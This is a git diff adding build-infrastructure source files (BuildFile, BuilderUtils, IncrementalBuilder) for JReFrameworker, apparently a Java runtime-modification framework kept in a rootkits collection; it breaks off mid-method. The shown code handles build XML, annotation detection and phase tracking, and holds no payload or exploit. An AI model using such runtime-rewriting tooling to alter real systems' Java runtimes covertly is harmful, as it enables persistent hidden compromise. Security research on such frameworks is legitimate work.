+ /** + * Adds a target jar to the build file + * @param buildFile + * @param targetJar + * @throws TransformerException + * @throws ParserConfigurationException + * @throws SAXException + * @throws IOException + */ + public void addRuntimeTarget(String targetJarName) throws TransformerException, ParserConfigurationException, SAXException, IOException { + addTarget(new RuntimeTarget(targetJarName)); + } + + /** + * Adds a target jar to the build file + * @param buildFile + * @param targetJar + * @throws TransformerException + * @throws ParserConfigurationException + * @throws SAXException + * @throws IOException + */ + public void addLibraryTarget(String targetJarName, String targetJarPath) throws TransformerException, ParserConfigurationException, SAXException, IOException { + addTarget(new LibraryTarget(targetJarName, targetJarPath)); + } + + /** + * Adds a target jar to the build file + * @param buildFile + * @param targetJar + * @throws TransformerException + * @throws ParserConfigurationException + * @throws SAXException + * @throws IOException + */ + public void addTarget(Target targetToAdd) throws TransformerException, ParserConfigurationException, SAXException, IOException { + DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); + DocumentBuilder dBuilder = dbFactory.newDocumentBuilder(); + Document doc = dBuilder.parse(jrefXMLFile); + doc.getDocumentElement().normalize(); + + // check if the target already exists + for(Target target : getTargets()) { + if(target.getName().equalsIgnoreCase(targetToAdd.getName())) { + return; + } + } + + // add target + Element rootElement = doc.getDocumentElement(); + Element target = doc.createElement("target"); + rootElement.appendChild(target); + + target.setAttribute("name", targetToAdd.getName()); + + if(targetToAdd instanceof RuntimeTarget){ + target.setAttribute("runtime", "true"); + } else if(targetToAdd instanceof LibraryTarget){ + target.setAttribute("runtime", "false"); + target.setAttribute("path", ((LibraryTarget)targetToAdd).getLibraryPath()); + } + + // write the content into xml file + writeBuildFile(jrefXMLFile, doc); + } + + /** + * Removes a target jar from the build file + * @param project + * @param targetJar + */ + public void removeTarget(String targetJarName) throws TransformerException, ParserConfigurationException, SAXException, IOException { + DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); + DocumentBuilder dBuilder = dbFactory.newDocumentBuilder(); + Document doc = dBuilder.parse(jrefXMLFile); + doc.getDocumentElement().normalize(); + + // remove target + NodeList targets = doc.getElementsByTagName("target"); + for (int i = 0; i < targets.getLength(); i++) { + Element target = (Element) targets.item(i); + if(target.getAttribute("name").equals(targetJarName)){ + target.getParentNode().removeChild(target); + } + } + + // write the content into xml file + writeBuildFile(jrefXMLFile, doc); + } + + /** + * Returns the existing build file or creates one if one does not exist + * @param project + * @return + * @throws JavaModelException + */ + public static BuildFile getOrCreateBuildFile(IJavaProject jProject) { + File buildXMLFile = new File(jProject.getProject().getLocation().toFile().getAbsolutePath() + File.separator + XML_BUILD_FILENAME); + if(buildXMLFile.exists()){ + return new BuildFile(buildXMLFile); + } else { + return createBuildFile(jProject); + } + } + + /** + * Creates a new build file + * @param project + * @return + * @throws JavaModelException + */ + public static BuildFile createBuildFile(IJavaProject jProject) { + try { + File buildXMLFile = new File(jProject.getProject().getLocation().toFile().getAbsolutePath() + File.separator + XML_BUILD_FILENAME); + String base = jProject.getProject().getLocation().toFile().getCanonicalPath(); + String relativeBuildFilePath = buildXMLFile.getCanonicalPath().substring(base.length()); + if(relativeBuildFilePath.charAt(0) == File.separatorChar){ + relativeBuildFilePath = relativeBuildFilePath.substring(1); + } + + DocumentBuilderFactory docFactory = DocumentBuilderFactory.newInstance(); + DocumentBuilder docBuilder = docFactory.newDocumentBuilder(); + + // root elements + Document doc = docBuilder.newDocument(); + Element rootElement = doc.createElement("build"); + doc.appendChild(rootElement); + + // save the original classpath + Element targets = doc.createElement("targets"); + rootElement.appendChild(targets); + + // write the content into xml file + writeBuildFile(buildXMLFile, doc); + + if(JReFrameworkerPreferences.isVerboseLoggingEnabled()) { + Log.info("Created Build XML File: " + relativeBuildFilePath); + } + + return new BuildFile(buildXMLFile); + } catch (ParserConfigurationException pce) { + Log.error("ParserConfigurationException", pce); + } catch (TransformerException tfe) { + Log.error("TransformerException", tfe); + } catch (IOException ioe) { + Log.error("IOException", ioe); + } catch (DOMException dome) { + Log.error("DOMException", dome); + } + throw new RuntimeException("Unable to create build file."); + } + + /** + * Helper method to write a pretty-printed build xml file + * @param buildXMLFile + * @param doc + * @throws TransformerFactoryConfigurationError + * @throws TransformerConfigurationException + * @throws TransformerException + */ + private static void writeBuildFile(File buildXMLFile, Document doc) throws TransformerFactoryConfigurationError, TransformerConfigurationException, TransformerException { + TransformerFactory transformerFactory = TransformerFactory.newInstance(); + Transformer transformer = transformerFactory.newTransformer(); + transformer.setOutputProperty(OutputKeys.INDENT, "yes"); + transformer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "2"); + DOMSource source = new DOMSource(doc); + StreamResult result = new StreamResult(buildXMLFile); + transformer.transform(source, result); + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/core/BuilderUtils.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/core/BuilderUtils.java new file mode 100644 index 0000000..61d062f --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/core/BuilderUtils.java @@ -0,0 +1,351 @@ +package com.jreframeworker.core; + +import java.io.File; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +import org.eclipse.core.resources.IMarker; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.jdt.core.ICompilationUnit; +import org.eclipse.jdt.core.IJavaElement; +import org.eclipse.jdt.core.IJavaModelMarker; +import org.eclipse.jdt.core.IJavaProject; +import org.eclipse.jdt.core.IPackageFragment; +import org.eclipse.jdt.core.IPackageFragmentRoot; +import org.eclipse.jdt.core.JavaModelException; +import org.objectweb.asm.tree.AnnotationNode; +import org.objectweb.asm.tree.ClassNode; + +import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier; +import com.jreframeworker.engine.identifiers.DefineIdentifier; +import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier; +import com.jreframeworker.engine.identifiers.JREFAnnotationIdentifier; +import com.jreframeworker.engine.identifiers.MergeIdentifier; +import com.jreframeworker.engine.identifiers.PurgeIdentifier; +import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier.DefineFieldFinalityAnnotation; +import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier.DefineMethodFinalityAnnotation; +import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier.DefineTypeFinalityAnnotation; +import com.jreframeworker.engine.identifiers.DefineIdentifier.DefineTypeAnnotation; +import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier.DefineFieldVisibilityAnnotation; +import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier.DefineMethodVisibilityAnnotation; +import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier.DefineTypeVisibilityAnnotation; +import com.jreframeworker.engine.identifiers.MergeIdentifier.MergeTypeAnnotation; +import com.jreframeworker.engine.identifiers.PurgeIdentifier.PurgeFieldAnnotation; +import com.jreframeworker.engine.identifiers.PurgeIdentifier.PurgeMethodAnnotation; +import com.jreframeworker.engine.identifiers.PurgeIdentifier.PurgeTypeAnnotation; +import com.jreframeworker.log.Log; + +public class BuilderUtils { + + /** + * Returns a collection of K_SOURCE Compilation units in the project's package fragments + * Reference: https://www.eclipse.org/forums/index.php/t/68072/ + * @param javaproject + * @return + */ + public static final ICompilationUnit[] getSourceCompilationUnits(IJavaProject jProject) { + ArrayList sourceCompilationUnits = new ArrayList(); + try { + IPackageFragmentRoot[] roots = jProject.getPackageFragmentRoots(); + for (int i = 0; i < roots.length; i++) { + IPackageFragmentRoot root = roots[i]; + if (root.getKind() == IPackageFragmentRoot.K_SOURCE) { + IJavaElement[] javaElements = root.getChildren(); + for (int j = 0; j < javaElements.length; j++) { + IJavaElement javaElement = javaElements[j]; + if (javaElement.getElementType() == IJavaElement.PACKAGE_FRAGMENT) { + IPackageFragment pf = (IPackageFragment) javaElement; + ICompilationUnit[] compilationUnits = pf.getCompilationUnits(); + for (int k = 0; k < compilationUnits.length; k++) { + ICompilationUnit unit = compilationUnits[k]; + if (unit.isStructureKnown()) { + sourceCompilationUnits.add(unit); + } + } + } + } + } + } + } catch (CoreException e) { + e.printStackTrace(); + } + ICompilationUnit[] sourceCompilationUnitsArray = new ICompilationUnit[sourceCompilationUnits.size()]; + sourceCompilationUnits.toArray(sourceCompilationUnitsArray); + return sourceCompilationUnitsArray; + } + + /** + * Returns true if the compilation unit has severe problem markers + * + * Reference: https://www.ibm.com/support/knowledgecenter/en/SS4JCV_7.5.5/org.eclipse.jdt.doc.isv/guide/jdt_api_compile.htm + * @param compilationUnit + * @return + * @throws CoreException + */ + public static final boolean hasSevereProblems(ICompilationUnit compilationUnit) throws CoreException { + IResource javaSourceFile = compilationUnit.getUnderlyingResource(); + IMarker[] markers = javaSourceFile.findMarkers(IJavaModelMarker.JAVA_MODEL_PROBLEM_MARKER, true, IResource.DEPTH_INFINITE); + ArrayList severeErrorMarkers = new ArrayList(); + for (IMarker marker : markers) { + Integer severityType = (Integer) marker.getAttribute(IMarker.SEVERITY); + if (severityType.intValue() == IMarker.SEVERITY_ERROR){ + severeErrorMarkers.add(marker); + } + } + return !severeErrorMarkers.isEmpty(); + } + + /** + * Returns the corresponding source file for the given class files of a project + * @param jrefProject + * @param compilationUnits + * @return + * @throws JavaModelException + * @throws IOException + */ + public static final File getCorrespondingSourceFile(JReFrameworkerProject jrefProject, File classFile) throws JavaModelException, IOException { + String binaryDirectoryPath = jrefProject.getBinaryDirectory().getCanonicalPath(); + String classFilePath = classFile.getCanonicalPath(); + + String relativeClassFileDirectoryPath = classFilePath.substring(binaryDirectoryPath.length()); + if(!relativeClassFileDirectoryPath.isEmpty() && relativeClassFileDirectoryPath.charAt(0) == File.separatorChar){ + relativeClassFileDirectoryPath = relativeClassFileDirectoryPath.substring(1); + } + + String sourceFileName = classFile.getName(); + relativeClassFileDirectoryPath = relativeClassFileDirectoryPath.substring(0, relativeClassFileDirectoryPath.indexOf(sourceFileName)); + sourceFileName = sourceFileName.replace(".class", ".java"); + File sourceFile = new File(jrefProject.getSourceDirectory().getCanonicalPath() + File.separator + relativeClassFileDirectoryPath + File.separator + sourceFileName); + return sourceFile; + } + + /** + * Returns the corresponding class file for the given compilation units of the project + * @param jrefProject + * @param compilationUnits + * @return + * @throws JavaModelException + * @throws IOException + */ + public static final File getCorrespondingClassFile(JReFrameworkerProject jrefProject, File sourceFile) throws JavaModelException, IOException { + String sourceDirectory = jrefProject.getSourceDirectory().getCanonicalPath(); + String relativeSourceFileDirectoryPath = sourceFile.getParentFile().getCanonicalPath().substring(sourceDirectory.length()); + if(!relativeSourceFileDirectoryPath.isEmpty() && relativeSourceFileDirectoryPath.charAt(0) == File.separatorChar){ + relativeSourceFileDirectoryPath = relativeSourceFileDirectoryPath.substring(1); + } + String classFileName = sourceFile.getName().replace(".java", ".class"); + File classFile = new File(jrefProject.getBinaryDirectory().getCanonicalPath() + File.separator + relativeSourceFileDirectoryPath + File.separator + classFileName); + return classFile; + } + + public static int getLastBuildPhase(JReFrameworkerProject jrefProject) throws IOException { + int phase=1; + while(getBuildPhaseDirectory(jrefProject, phase).exists()){ + phase++; + } + if(phase != 1){ + return phase-1; + } else { + return 1; + } + } + + public static final File getBuildPhaseDirectory(JReFrameworkerProject jrefProject, int buildPhase) throws IOException { + File projectBuildDirectory = jrefProject.getProject().getFolder(JReFrameworker.BUILD_DIRECTORY).getLocation().toFile(); + String buildPhaseDirectoryName = JReFrameworker.BUILD_PHASE_DIRECTORY_PREFIX + "-" + buildPhase; + return new File(projectBuildDirectory.getCanonicalPath() + File.separatorChar + buildPhaseDirectoryName); + } + + public static final File getBuildPhaseJar(String targetJar, JReFrameworkerProject jrefProject, int buildPhase) throws IOException { + return new File(getBuildPhaseDirectory(jrefProject, buildPhase).getCanonicalPath() + File.separatorChar + targetJar); + } + + public static final List getSortedBuildPhases(ClassNode classNode) throws IOException { + Set phases = new HashSet(); + + boolean purgeModification = hasPurgeModification(classNode); + if(purgeModification){ + PurgeIdentifier purgeIdentifier = new PurgeIdentifier(classNode); + for(PurgeTypeAnnotation purgeTypeAnnotation : purgeIdentifier.getPurgeTypeAnnotations()){ + phases.add(purgeTypeAnnotation.getPhase()); + } + for(PurgeFieldAnnotation purgeFieldAnnotation : purgeIdentifier.getPurgeFieldAnnotations()){ + phases.add(purgeFieldAnnotation.getPhase()); + } + for(PurgeMethodAnnotation purgeMethodAnnotation : purgeIdentifier.getPurgeMethodAnnotations()){ + phases.add(purgeMethodAnnotation.getPhase()); + } + } + + boolean finalityModification = hasFinalityModification(classNode); + if(finalityModification){ + DefineFinalityIdentifier defineFinalityIdentifier = new DefineFinalityIdentifier(classNode); + for(DefineTypeFinalityAnnotation defineTypeFinalityAnnotation : defineFinalityIdentifier.getTargetTypes()){ + phases.add(defineTypeFinalityAnnotation.getPhase()); + } + for(DefineFieldFinalityAnnotation defineFieldFinalityAnnotation : defineFinalityIdentifier.getTargetFields()){ + phases.add(defineFieldFinalityAnnotation.getPhase()); + } + for(DefineMethodFinalityAnnotation defineMethodFinalityAnnotation : defineFinalityIdentifier.getTargetMethods()){ + phases.add(defineMethodFinalityAnnotation.getPhase()); + } + } + + boolean visibilityModification = hasVisibilityModification(classNode); + if(visibilityModification){ + DefineVisibilityIdentifier defineVisibilityIdentifier = new DefineVisibilityIdentifier(classNode); + for(DefineTypeVisibilityAnnotation defineTypeVisibilityAnnotation : defineVisibilityIdentifier.getTargetTypes()){ + phases.add(defineTypeVisibilityAnnotation.getPhase()); + } + for(DefineFieldVisibilityAnnotation defineFieldVisibilityAnnotation : defineVisibilityIdentifier.getTargetFields()){ + phases.add(defineFieldVisibilityAnnotation.getPhase()); + } + for(DefineMethodVisibilityAnnotation defineMethodVisibilityAnnotation : defineVisibilityIdentifier.getTargetMethods()){ + phases.add(defineMethodVisibilityAnnotation.getPhase()); + } + } + + boolean mergeModification = hasMergeTypeModification(classNode); + if(mergeModification){ + MergeIdentifier mergeIdentifier = new MergeIdentifier(classNode); + MergeTypeAnnotation mergeTypeAnnotation = mergeIdentifier.getMergeTypeAnnotation(); + phases.add(mergeTypeAnnotation.getPhase()); + // no such thing as merge field, so skipping fields + // define field, define method, and merge method all must have the same phase as the merge type annotation + // so we can't discover new phases by looking at the body + } + + boolean defineModification = hasDefineTypeModification(classNode); + if(defineModification){ + DefineIdentifier defineIdentifier = new DefineIdentifier(classNode); + DefineTypeAnnotation defineTypeAnnotation = defineIdentifier.getDefineTypeAnnotation(); + if(defineTypeAnnotation != null) { + // TODO: investigate NPE here, defineTypeAnnotation is null somehow... + phases.add(defineTypeAnnotation.getPhase()); + } else { + Log.error("DefineTypeAnnotation is null", new RuntimeException("DefineTypeAnnotation is null")); + } + // define field, define method must have the same phase as the define type annotation + // so we can't discover new phases by looking at the body + } + + // if no phases were detected add the default build phase + if(phases.isEmpty()){ + phases.add(1); + } + + ArrayList phasesSorted = new ArrayList(phases); + Collections.sort(phasesSorted); + return phasesSorted; + } + + public static final boolean hasTopLevelAnnotation(ClassNode classNode) throws IOException { + boolean purgeModification = hasPurgeModification(classNode); + if (purgeModification) { + return true; + } + + boolean finalityModification = hasFinalityModification(classNode); + if (finalityModification) { + return true; + } + + boolean visibilityModification = hasVisibilityModification(classNode); + if (visibilityModification) { + return true; + } + + boolean mergeModification = hasMergeTypeModification(classNode); + if (mergeModification) { + return true; + } + + boolean defineModification = hasDefineTypeModification(classNode); + if (defineModification) { + return true; + } + + return false; + } + + public static final boolean hasMergeTypeModification(ClassNode classNode) throws IOException { + // TODO: address innerclasses, classNode.innerClasses, could these even be found from class files? they would be different files... + if(classNode.invisibleAnnotations != null){ + for(Object annotationObject : classNode.invisibleAnnotations){ + AnnotationNode annotationNode = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotationNode.desc, false); + if(checker.isMergeTypeAnnotation()){ + return true; + } + } + } + return false; + } + + public static final boolean hasDefineTypeModification(ClassNode classNode) throws IOException { + // TODO: address innerclasses, classNode.innerClasses, could these even be found from class files? they would be different files... + if(classNode.invisibleAnnotations != null){ + for(Object annotationObject : classNode.invisibleAnnotations){ + AnnotationNode annotationNode = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotationNode.desc, false); + if(checker.isDefineTypeAnnotation()){ + return true; + } + } + } + return false; + } + + public static final boolean hasPurgeModification(ClassNode classNode) throws IOException { + // TODO: address innerclasses, classNode.innerClasses, could these even be found from class files? they would be different files... + if(classNode.invisibleAnnotations != null){ + for(Object annotationObject : classNode.invisibleAnnotations){ + AnnotationNode annotationNode = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotationNode.desc, false); + if(checker.isPurgeAnnotation()){ + return true; + } + } + } + return false; + } + + public static final boolean hasFinalityModification(ClassNode classNode) throws IOException { + // TODO: address innerclasses, classNode.innerClasses, could these even be found from class files? they would be different files... + if(classNode.invisibleAnnotations != null){ + for(Object annotationObject : classNode.invisibleAnnotations){ + AnnotationNode annotationNode = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotationNode.desc, false); + if(checker.isFinalityAnnotation()){ + return true; + } + } + } + return false; + } + + public static final boolean hasVisibilityModification(ClassNode classNode) throws IOException { + // TODO: address innerclasses, classNode.innerClasses, could these even be found from class files? they would be different files... + if(classNode.invisibleAnnotations != null){ + for(Object annotationObject : classNode.invisibleAnnotations){ + AnnotationNode annotationNode = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotationNode.desc, false); + if(checker.isVisibilityAnnotation()){ + return true; + } + } + } + return false; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/core/IncrementalBuilder.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/core/IncrementalBuilder.java new file mode 100644 index 0000000..84eae64 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker/src/com/jreframeworker/core/IncrementalBuilder.java @@ -0,0 +1,645 @@ +package com.jreframeworker.core; + +import java.io.File; +import java.io.IOException; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.Collections; +import java.util.HashMap; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.jar.JarException; + +import javax.xml.parsers.ParserConfigurationException; + +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.SubMonitor; +import org.objectweb.asm.tree.ClassNode; +import org.xml.sax.SAXException; + +import com.jreframeworker.common.RuntimeUtils; +import com.jreframeworker.engine.Engine; +import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier; +import com.jreframeworker.engine.identifiers.DefineIdentifier; +import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier; +import com.jreframeworker.engine.identifiers.MergeIdentifier; +import com.jreframeworker.engine.identifiers.PurgeIdentifier; +import com.jreframeworker.engine.identifiers.DefineIdentifier.DefineTypeAnnotation; +import com.jreframeworker.engine.identifiers.MergeIdentifier.MergeTypeAnnotation; +import com.jreframeworker.log.Log; +import com.jreframeworker.preferences.JReFrameworkerPreferences; + +public class IncrementalBuilder { + + public static final int DEFAULT_BUILD_PHASE = 1; + + public static abstract class Source { + protected File resourceFile; + protected File sourceFile; + protected ClassNode classNode; + + public Source(File resourceFile, File sourceFile, ClassNode classNode){ + try { + if(resourceFile != null && resourceFile.exists()){ + this.resourceFile = resourceFile.getCanonicalFile(); + } else { + this.resourceFile = resourceFile; + } + } catch (Exception e){ + throw new IllegalArgumentException(e); + } + try { + if(sourceFile != null && sourceFile.exists()){ + this.sourceFile = sourceFile.getCanonicalFile(); + } else { + this.sourceFile = sourceFile; + } + } catch (Exception e){ + throw new IllegalArgumentException(e); + } + this.classNode = classNode; + } + + public File getResourceFile(){ + return resourceFile; + } + + public File getSourceFile() { + return sourceFile; + } + + public ClassNode getClassNode(){ + return classNode; + } + + public abstract List getSortedPhases(); + + /** + * A source object is equivalent if it shares the same resource file + */ + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((resourceFile == null) ? 0 : resourceFile.hashCode()); + return result; + } + + /** + * A source object is equivalent if it shares the same resource file + */ + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + try { + Source other = (Source) obj; + if (resourceFile == null) { + if (other.resourceFile != null) + return false; + } else if (!resourceFile.equals(other.resourceFile)) + return false; + return true; + } catch (ClassCastException e){ + return false; + } + } + + } + + public static class ProcessedSource extends Source { + + private List phases = new LinkedList(); + + public ProcessedSource(File resourceFile, File sourceFile, ClassNode classNode, List phases) { + super(resourceFile, sourceFile, classNode); + this.phases = phases; + } + + @Override + public List getSortedPhases() { + return new LinkedList(phases); + } + + @Override + public String toString() { + return "[ProcessedSource (" + sourceFile.getName() + ")]"; + } + } + + public static class DeltaSource extends Source { + + public static enum Delta { + ADDED, MODIFIED, REMOVED; + } + + private Delta delta; + private List phases = new LinkedList(); + + public DeltaSource(File resource, File sourceFile, Delta delta){ + this(resource, sourceFile, null, delta); + } + + public DeltaSource(File resourceFile, File sourceFile, ClassNode classNode, Delta delta){ + super(resourceFile, sourceFile, classNode); + this.delta = delta; + if(delta == Delta.REMOVED && classNode != null){ + throw new IllegalArgumentException("Removed source should not contain class nodes."); + } else if(delta != Delta.REMOVED && classNode == null){ + throw new IllegalArgumentException("Added or Modified sources must contain class nodes."); + } + if(delta != Delta.REMOVED){ + try { + this.phases = BuilderUtils.getSortedBuildPhases(classNode); + } catch (IOException e) { + throw new IllegalArgumentException("Unable to recover build phases."); + } + } + } + + public Delta getDelta() { + return delta; + } + + public ProcessedSource getProcessedSource(){ + return new ProcessedSource(getResourceFile(), getSourceFile(), getClassNode(), getSortedPhases()); + } + + @Override + public List getSortedPhases() { + List result = new LinkedList(phases); + if(result.isEmpty()){ + // TODO: if we can make better guarantees about the correctness of this result, + // it may be better to return empty phase results so that we can identify deleted + // sources that had no phases + + // for now assume phase one is always there (even if the source has no phases) + result.add(1); + } + return result; + } + + @Override + public String toString() { + String change = ""; + if(delta == Delta.ADDED){ + change = "Added: "; + } else if(delta == Delta.MODIFIED){ + change = "Modified: "; + } else if(delta == Delta.REMOVED){ + change = "Removed: "; + } + return "[DeltaSource (" + change + resourceFile.getName() + ")]"; + } + + } + + public static class IncrementalBuilderException extends Exception { + + private static final long serialVersionUID = 1L; + + public IncrementalBuilderException(String message){ + super(message); + } + + public IncrementalBuilderException(String message, Throwable t){ + super(message, t); + } + } + + private JReFrameworkerProject jrefProject; + private int currentPhase = DEFAULT_BUILD_PHASE; + private Set processedSources = new HashSet(); + + public IncrementalBuilder(JReFrameworkerProject jrefProject){ + this.jrefProject = jrefProject; + } + + public JReFrameworkerProject getJReFrameworkerProject(){ + return jrefProject; + } + + public static enum PostBuildAction { + UPDATE_CLASSPATH, CLEAN_REBUILD, NONE + } + + public PostBuildAction build(Set sourceDeltas, IProgressMonitor monitor) throws IncrementalBuilderException { + if(sourceDeltas.isEmpty()){ + // nothing to do + return PostBuildAction.NONE; + } + try { + // first separate the java and class source delta resources + Set javaSourceDeltas = new HashSet(); + Set classSourceDeltas = new HashSet(); + for(DeltaSource sourceDelta : sourceDeltas){ + if(sourceDelta.getResourceFile().getName().endsWith(".java")){ + javaSourceDeltas.add(sourceDelta); + } else if(sourceDelta.getResourceFile().getName().endsWith(".class")){ + classSourceDeltas.add(sourceDelta); + } + } + + // then map java class deltas to java file source deltas + // class file edits may be made without edits to the source when the classpath has been updated + Map classToJavaDeltaSources = new HashMap(); + for(DeltaSource classSourceDelta : classSourceDeltas){ + boolean mapped = false; + for(DeltaSource javaSourceDelta : javaSourceDeltas){ + if(javaSourceDelta.getResourceFile().equals(classSourceDelta.getSourceFile())){ + classToJavaDeltaSources.put(classSourceDelta, javaSourceDelta); + mapped = true; + break; + } + } + if(!mapped){ + classToJavaDeltaSources.put(classSourceDelta, null); + } + } + + if(JReFrameworkerPreferences.isVerboseLoggingEnabled()){ + Log.info("Incremental changes: " + classToJavaDeltaSources.toString()); + } + + // next figure out if we need to revert to a previous build phase + // reverts can occur when a class file is modified or removed or added + // added case: an earlier phase is added + // modified case: a phase is changed or the class is changed and the phase needs to be reprocessed + // removed case: a phase should not have been run + Set staleSources = new HashSet(); + for(DeltaSource source : javaSourceDeltas){ + // first consider modified or removed sources + if(source.getDelta() == DeltaSource.Delta.MODIFIED || source.getDelta() == DeltaSource.Delta.REMOVED){ + + // if the source was removed and it has no phases then nothing to do + if(source.getDelta() == DeltaSource.Delta.REMOVED){ + // revert to the earliest phase in the removed source + if(!source.getSortedPhases().isEmpty()){ + currentPhase = source.getSortedPhases().get(0); + if(currentPhase == DEFAULT_BUILD_PHASE){ + return PostBuildAction.CLEAN_REBUILD; + } + } + break; + } + + // note modified and removed sources that are no longer valid + staleSources.add(source); + + // for modified and removed sources revert back to + // the min(the source's original phase, lowest modified phase value) + boolean sourceFound = false; + for(ProcessedSource processedSource : processedSources){ + if(processedSource.equals(source)){ + sourceFound = true; + // current phase should be the earliest phase of the previously processed source + currentPhase = Math.min(currentPhase, processedSource.phases.get(0)); + // if the source is modified also consider the earlier phase in the modification + if(source.getDelta() == DeltaSource.Delta.MODIFIED){ + int earliestModificationPhase = source.getSortedPhases().get(0); + currentPhase = Math.min(currentPhase, earliestModificationPhase); + } + break; + } + } + if(!sourceFound){ +// throw new IncrementalBuilderException("Unable to locate previous source reference"); + // a source which was previously uncompilable just became compilable, so we need to revert back to it's earliest phase + currentPhase = source.getSortedPhases().get(0); + } + } + + // consider phase reverts due to added sources + // example a new source was added with an earlier phase + if(source.getDelta() == DeltaSource.Delta.ADDED){ + int earliestPhase = source.getSortedPhases().get(0); + currentPhase = Math.min(currentPhase, earliestPhase); + } + } + + // remove stale sources + for(Source source : staleSources){ + processedSources.remove(source); + } + + // figure out which sources need to reprocessed + Set sourcesToProcess = new HashSet(); + for(ProcessedSource source : processedSources){ + for(int phase : source.getSortedPhases()){ + if(currentPhase <= phase){ + if(phase == DEFAULT_BUILD_PHASE){ + return PostBuildAction.CLEAN_REBUILD; + } else { + sourcesToProcess.add(source); + break; + } + } + } + } + + // add any new or modified sources to the list of sources to be processed + // updating the class path causes the compiler to change the class + // files even though the corresponding source files did not change. + // If the resource modified was a class file and not a source file + // then we should ignore this change to prevent infinite build loops + for(DeltaSource source : classSourceDeltas){ + boolean classFileOnlyModification = classToJavaDeltaSources.get(source) == null; + if(classFileOnlyModification){ + // a class file only modification is important if its a class file with a phase we haven't seen yet + // otherwise its just a result of classpath updating + for(int phase : source.getSortedPhases()){ + if(currentPhase <= phase){ + sourcesToProcess.add(source); + } + } + } else { + if(source.getDelta() == DeltaSource.Delta.ADDED || source.getDelta() == DeltaSource.Delta.MODIFIED){ + sourcesToProcess.add(source); + } + } + } + + // assert build phases are contiguous + Set phases = new HashSet(); + for(Source source : sourcesToProcess){ + phases.addAll(source.getSortedPhases()); + } + + LinkedList sortedPhases = new LinkedList(phases); + Collections.sort(sortedPhases); + if(sortedPhases.isEmpty()){ + // no phases found + return PostBuildAction.NONE; + } else { + for(int i=sortedPhases.getFirst(); i<=sortedPhases.getLast(); i++){ + if(!sortedPhases.contains(i)){ + throw new IncrementalBuilderException("Phases are not contiguous. Phase " + i + " is missing."); + } + } + + // starting from the current phase process every phase in the set of sources to process + int lastPhase = sortedPhases.getLast(); + while(currentPhase <= lastPhase){ + boolean isFirstPhase = (currentPhase == DEFAULT_BUILD_PHASE); + boolean isLastPhase = (currentPhase == lastPhase); + + // gather the sources that are relevant to the current phase + Set phaseSources = new HashSet(); + for(Source source : sourcesToProcess){ + if(source.getSortedPhases().contains(currentPhase)){ + phaseSources.add(source); + } + } + + // build the phase targets + buildPhase(phaseSources, currentPhase, isFirstPhase, isLastPhase, monitor); + + currentPhase++; + } + + // record the processed phases for the next incremental build + for(Source source : sourcesToProcess){ + // processed sources are already recorded as processed + // just need to add the delta sources as processed sources + if(source instanceof DeltaSource){ + processedSources.add(((DeltaSource) source).getProcessedSource()); + } + } + + // changes were made, need to update the classpath + return PostBuildAction.UPDATE_CLASSPATH; + } + } catch (Throwable t){ + throw new IncrementalBuilderException("Error building sources", t); + } + } + + private void buildPhase(Set phaseSources, int currentPhase, boolean isFirstPhase, boolean isLastPhase, IProgressMonitor monitor) throws JarException, SAXException, IOException, ParserConfigurationException, CoreException, IncrementalBuilderException { + // map class entries to and initial modification engine sets + Map> engineMap = new HashMap>(); + Set allEngines = new HashSet(); + + // initialize the modification engines + // if its the first phase then we are just initializing with the original jars + // if its after the first phase then we are initializing with the last build phase jars + BuildFile buildFile = jrefProject.getBuildFile(); + if(isFirstPhase){ + for(BuildFile.Target target : buildFile.getTargets()) { + // classpath has been restored, these are all the original jars + File originalJar = RuntimeUtils.getClasspathJar(target.getName(), jrefProject); + if (originalJar != null && originalJar.exists()) { + Engine engine = new Engine(originalJar, JReFrameworkerPreferences.getMergeRenamingPrefix()); + allEngines.add(engine); + for(String entry : engine.getOriginalEntries()){ + entry = entry.replace(".class", ""); + if(engineMap.containsKey(entry)){ + engineMap.get(entry).add(engine); + } else { + Set engines = new HashSet(); + engines.add(engine); + engineMap.put(entry, engines); + } + } + } else { + Log.warning("Original Jar not found: " + target.getName()); + } + } + } else { + for(BuildFile.Target target : buildFile.getTargets()) { + File phaseJar = 